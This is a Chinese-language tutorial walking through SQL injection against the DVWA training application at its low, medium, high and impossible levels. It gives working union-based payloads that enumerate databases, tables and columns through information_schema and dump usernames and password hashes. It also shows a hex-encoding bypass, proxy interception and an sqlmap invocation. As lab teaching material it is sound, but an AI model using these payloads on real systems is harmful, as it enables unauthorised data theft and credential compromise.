啥是SQL注入?
我们要理清我们要进行的思路 大致分7步
在DVWA中级别有四种 low midium high impossible
我们先设置成low
我们在里面看一下源码设置
通过源码我们发现它对参数没有任何的过滤 直接带入数据库进行查询 我们猜测肯恩给存在字符型sql注入
判断sql是否存在注入,以及注入的类型
接下来我们猜测sql查询语句中的字段数 1‘ order by 1# (逐渐增加后面的1的大小进行猜测)
当输入3#时就出现了错误,说明只有两列的数据 查询的表的字段数是2
我们来看一下回显
接下来查询当前的数据库,以及版本 1‘ union select version(),database()#
接下来我们获取数据库的表 1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
接下来我们获取表中的字段名 1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘#
下面我们获得字段中的数据 1‘ union select user,password from users#
我们看到的就是密码 来!让我们都破解了
接下来我们将级别设置为medium 发现user id 已经限制了
看一下源代码 发现增加了一溜规则
这个时候我们不能在这里进行sql注入了,我们可以在别的地方,嘻嘻
我们浏览器启用代理
打开我们的抓包工具
我们抓到包了,我们发的是1 我们在最下面给他改一下
稍微改动,他回显给我们的就不再是1了
还是相同的步骤我们猜测字段个数
看一下3
接下来确定回显位置
获得数据库名称以及版本(注意和low不太一样,后面不能有‘)
获得数据库中所有表
下面获取表中的所有字段名,考虑到单引号被转移,可以利用16进制绕过
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
最后获取字段中的数据
接下来我们将DVWA的级别设置成high 发现当你点中SQL injection界面时会出现一共点击 点击完我们会跳到另外一共界面
我们看一下高级的源码 发现里面没加啥特殊的控制,唯一就是跳了个网页
我们来获得密码
最后我们将级别设置成impossible 看一下它的源码 发现里面加了很多东西,我们暂时莫得办法了
当然我们可以把抓到的包,储存下来
在sqlmap里面进行执行 aqlmap.py -r C:11.txt --level 3
数据库中的这三个表我们要记住因为经常要用到